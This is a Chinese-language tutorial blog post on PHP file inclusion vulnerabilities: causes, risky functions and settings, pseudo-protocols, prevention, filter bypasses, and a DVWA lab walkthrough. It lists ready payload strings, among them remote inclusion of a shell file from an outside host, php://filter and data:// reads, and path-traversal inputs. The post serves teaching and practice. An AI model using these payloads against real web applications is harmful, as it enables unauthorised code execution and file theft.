1. 漏洞简介
1.1 什么是文件包含漏洞
文件包含(File Inclusion)即程序通过文件包含函数调用本地或远程文件以此来实现拓展功能。
被包含文件可以是各种格式,比如文本、图片等等,而当文件里面包含恶意代码,且没有对来源或参数进行严格审查和过滤,就会执行非预期操作。
文件包含漏洞分为本地文件包含(LFI,Local File Inclusion)和远程文件包含(RFl,Remote File Inclusion),区别在于包含文件是放在本地还是远程。
1.2 导致漏洞产生的原因
1.2.1 PHP函数
include()
在包含过程中出错会报错,不影响执行后续语句
include_once()
仅包含一次
require()
在包含过程中出错,就会直接退出,不执行后续语句
require_once()
1.2.2 PHP配置
allow_url_include
allow_url_fopen
1.3 文件包含漏洞危害
- 执行恶意代码
- 获取系统敏感信息
- 篡改网页信息
- 攻击其它服务器
2. 文件包含漏洞检测
1. 本地文件包含
2. 远程文件包含
3. 利用伪协议进行利用
- file://
- http://
- ftp://
- php://
- zlib://
- data://
- glob://
- phar://
- ssh2://
- rar://
- ogg://
- expect://
3. 文件包含漏洞预防
- 过滤
\ / .
等特殊字符
- 配置php.ini,关闭相关配置选项
- 白名单,仅允许特定的文件
- 不将文件包含函数对应的文件暴露
4. 文件包含漏洞绕过
- URL编码
- 通过
../../
爆破路径
- 利用长度截断,php版本低于5.2.8
- 利用特殊字符(中文?,英文?)
%00
截断,php版本低于5.3.0,magic_quotes_gpc
关闭
- 伪协议(比较有效)
- 远程包含: 要求
allow_url_fopen=On
且allow_url_include=On
, payload为?file=[http|https|ftp]://websec.wordpress.com/shell.txt
的形式 - PHP input: 把payload放在POST参数中作为包含的文件,要求
allow_url_include=On
,payload为?file=php://input
的形式 - Base64: 使用Base64伪协议读取文件,payload为
?file=php://filter/convert.base64-encode/resource=index.php
的形式 - data: 使用data伪协议读取文件,payload为
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
的形式,要求allow_url_include=On
- 协议绕过
allow_url_fopen
和allow_url_include
主要是针对http
、ftp
两种协议起作用,因此可以使用SMB
、WebDav
协议等方式来绕过限制。
5. 靶场练习
5.1 DVWA 文件包含靶场练习
5.1.1 Low 等级
- 发现直接对
url
中的page
读取然后进行显示:

- 修改
?page=../../phpinfo.php
- 可以得到页面

5.1.2 Medium 等级
- 在提交 low 等级的 payload 发现无效果,观察代码发现将
../
替换为空;

- 双写修改
?page=....//....//phpinfo.php
绕过
- 得到
phpinfo.php
界面
5.1.3 High 等级
- 观察代码发现,如果文件名字非
include.php
且正则匹配不符合,则文件不存在

- 发现文件必须以
file
开头,那么则可以利用file协议
- 修改
?page=file:
///D:/abc/file.txt
表示打开file.txt
,成功实现文件包含
参考文章
本文章仅提供学习使用,有任何问题,欢迎您在底部评论区留言,一起交流~
- Author:KoGe
- URL:https://www.shipangshuo.xyz/article/file-inclusion
- Copyright:All articles in this blog, except for special statements, adopt BY-NC-SA agreement. Please indicate the source!
Relate Posts